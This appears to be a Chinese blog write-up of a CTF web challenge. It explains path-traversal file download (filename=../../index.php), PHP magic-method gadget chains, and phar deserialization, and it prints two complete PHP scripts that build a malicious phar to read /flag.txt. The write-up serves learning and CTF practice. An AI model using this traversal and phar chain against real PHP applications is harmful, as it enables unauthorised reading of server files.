以题为例

进来后我们注册一个账户并登录

查看一下网页源代码发,并没有发现什么我们上传个文件看看能不能通过菜刀获取权限

发现并不能连接上。此时我们通过BP抓包看看能不能获取到有用的信息

发现一个filename裸露在我们视野我们考虑让filename=xxx.php获取到index.php

我们这样尝试发现没用这是为啥呢?这里有个细节我们一般上传文件都是在网站主目录下的,所以这里需要跳转到上级目录所以我们需要让filename=../../index.php

出现了index.php中的其他php文件

依次我们读取了class.php和delete.php以及download.php。

现在我们开始对这四个php文件进行分析,我们在class.php中发现

一眼就明白这是魔术方法。什么是phar反序列化?phar文件是php的压缩文件,它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,phar://与file:// ,php://等类似,也是一种流包装器.

phar的利用条件:

① phar文件要能够上传到服务器端

② 要有可用的魔术方法作为“跳板”

③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()

③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

我们可以知道有了魔法函数__call()和file_get_contents()我们应该考虑利用file_get_content来获取flag,而在download.php中有if(strlen($filename)<40&&$file->open($filename)&&stristr($filename,"flag")===false)即上传文件名不能包含flag,也证实了flag文件应该就在本目录的flag.txt或者flag.php.

接下来我们着重分析class.php

如果一个Filelist对象调用了close()方法,根据call魔法函数,File的close方法会被执行,就可能拿到flag。

这个时候我们就要借用到phar://伪协议,因为file_get_contents()读取内容是是能读将phar反序列化的。

Tips:在php.ini中修改readonly = Off才能生成phar文件
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off (注意前面没有分号)

最终EXP:<?php

class User{

public $db;

}

class FileList{

private $files;

public function __construct(){

$this->files = array(new File()); //方便在__call()函数中便能调用File()中的close()函数

}

}

class File{

public $filename = '/flag.txt';

}

//这是创建phar文件的常规姿势

$phar = new Phar('phar.phar');

$phar ->startBuffering();

$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头

$phar ->addFromString('test.txt','test'); //添加要压缩的文件

$object = new User();//创建一个User类的对象

$object->db = new FileList();//将object的$db变量设置为新的FileList类的一个对象

$phar -> setMetadata($object);//将自定义meta-data存入manifest

$phar -> stopBuffering();

?>

(这题属于比较复杂了)EXP太难了

知识点轰炸

1.1 open_basedir

在in_set这个函数中,可以设置php的一些配置,其中就包括open_basedir ,用来限制当前程序可以访问的目录。后来问了一下朱师傅,了解到:它是可以访问设置目录下的所有下级目录。
若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 “/dir/other"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。”."可代表当前目录,open_basedir也可以同时设置多个目录,在Windows中用分号分隔目录,在任何其它系统中用冒号分隔目录。例:
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 就是只可以访问当前目录(getcwd()返回当前目录)、/etc和/tmp三个目录。解释了为什么要在delete.php中利用payload,而不是download.php。

1.2 chdir() mkdir()

  • chdir() 现实目录跳跃,解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。
  • mkdir() 创建一个文件夹,顺带提一下。

1.3 function __call($func, $args)

php的魔术方法,为什么要叫魔术方法?__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func:被调用的方法名,所以$func()在这个魔术方法中,可以表示被调用的那个方法; $args : 被调用方法中的参数(这是个数组)

public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }

在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php中,就出现了这个函数的调用。

当执行 $a = new FileList($_SESSION[‘sandbox’])时,会先调用构造函数,把“$_SESSION[‘sandbox’]”目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,\$this->files要等于一个数组。然后 $a->Name(); 调用了一个FileList中并没有的方法,就会自动调用 __all($func, $args)函数,其中$func=Name。然后让
$a->files里的所有文件,都去调用这个方法。并把结果,存储在以filename为一级键名,方法为二级键名的数组中。然后Size方法同样如此。

name

Size

filename1

xx

xx

filename2

xx

xx

也就时说,它在程序中的作用就是,遍历我们上传的所有文件,并把它们的信息,储存在\$a->result这个二维数组中。

1.4 function __destruct()

foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>'; $table .= '</tr>'; }

  • foreach ($this->results as $filename => $result) 每次把每个一级数组的值,传递给$result,即filename1[]
  • foreach ($result as $func => $value) 每次把每个二级数组的值,传递给$value
  • echo table 最后打印出来全部数据

解决了读取的数据,无法输出的问题

1.5 phar(重点)

讲phar的链接
我的理解,我们可以把一个序列化的对象,储存在phar格式的文件中,生成后(一定要是生成后),即使我们把格式给改了,也不影响它的作用:用一些文件包含函数,如果我们以phar://协议去访问这个文件,那么就可以把那个对象给反序列化。
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,别人测试后,受影响的函数如下:

2 实践

在File类中,close方法存在file_get_contents()函数,在User中,会调用改方法$this->db->close(),如果有回显的化,我们就可以直接构造payload:

<?phpclass User { public $db;}class File { public $filename = "/flag.txt";}$a = new User();$a->db = new File();?>

然后放到phar文件后,就可以了。
但事实并没有回显,那么我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后再调用 __destruct()函数,打印结果。完美,可是我想不到
payload:

<?phpclass User { public $db;}class File { public $filename;}class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); }} $a = new User();$a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();$o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest$phar->addFromString("exp.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

3.总结

感觉只要和序列化有关的,就在魔术方法里,找高危函数就完事了,有file_get_contents()的,就是任意文件读取,有eval的,就是任意命令执行。

PHP phar反序列化相关推荐

  1. thinkphp5 注入 反序列化写文件 phar反序列化

    原文出处: 红队攻击第3篇 thinkphp5框架 注入 反序列化写文件 phar反序列化 (qq.com) 1.SQL注入1 <?phpnamespace app\index\controll ...

  2. 【phar反序列化与GC回收机制的利用】

    认识phar phar是什么?简单来说就是把php压缩而成的打包文件,无需解压,可以通过phar://协议直接读取内容 ,大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,z ...

  3. 文件上传与Phar反序列化的摩擦

    提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.Phar是什么? 二.Phar压缩文件的组成 三.Phar伪协议 四.SWPU 2018[SimplePHP] 五 ...

  4. phar反序列化小结

    0x00 phar反序列化 phar反序列化即在文件系统函数(file_exists().is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反 ...

  5. 记一道CTF中的phar反序列化

    Author: takahashi 提要 最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文.记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧 ...

  6. PHP之phar反序列化

    前言 phar反序列化来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式.或许有人对phar的理解只停留在phar://协议中甚至连phar协议都没有听过,至少在了解phar ...

  7. PHP Phar反序列化总结

    文章首发于Freebuf https://www.freebuf.com/articles/web/291992.html 利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性, ...

  8. php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)

    Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...

  9. 【Web安全】从xxe到phar反序列化

    **重要:**在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的. 以下代码存在 xxe 漏洞. xml.php ...

最新文章

  1. stm32 独立看门狗和窗口看门狗区别
  2. 《微机原理及接口技术》第03章在线测试
  3. 码农和程序员等的差别
  4. PAT (Basic Level) 1044 火星数字(模拟)
  5. hadoop—集群配置历史服务器及访问历史服务器日志
  6. Netflix工程总监眼中的分类算法:深度学习优先级最低
  7. 华为云ModelArts图深度学习,学习知识还能考取微认证
  8. 1709 - Index column size too large. The maximum column size is 767 bytes.
  9. 稀疏矩阵的创建--十字链表
  10. # bucketSort 箱排序 也称桶排序
  11. 关于手机联系人的改进想法
  12. 微博android源码,新浪微博客户端源码 android
  13. 局域网和内网?系统远程桌面和内网远程软件?
  14. windows server2008r2 下载
  15. 启动计算机显示屏没反应,电脑开机后显示器无反应怎么办
  16. 4、HFSS的边界条件
  17. 一位优秀的学弟,计算机2019保研经历分享(北大信科、清华计算机系)
  18. 吐血分享:QQ群霸屏技术教程(利润篇)
  19. 【STM32学习】(21)STM32实现步进电机
  20. Java8里不得不说的那些常用日期处理,码起来~

热门文章

  1. opencv reshape 深拷贝 浅拷贝之坑
  2. WAIC 2021 | 第四范式戴文渊:AI决策助力金融转型走向质变
  3. dbvar:染色体结构变异数据库
  4. 【精简版】MyBatis-Plus学习笔记
  5. 对抗机器学习论文-Towards Evaluating the Robustness of Neural Networks(CW2)
  6. 批量分析百世快运物流,并筛选更新量为2的单号
  7. 基于决策树的智能网络安全入侵检测模型
  8. 人工智能到底是啥_人工智能 (AI) 是什么?| Oracle 中国
  9. 聊聊设计师的人生规划
  10. NIO 与 Netty 编程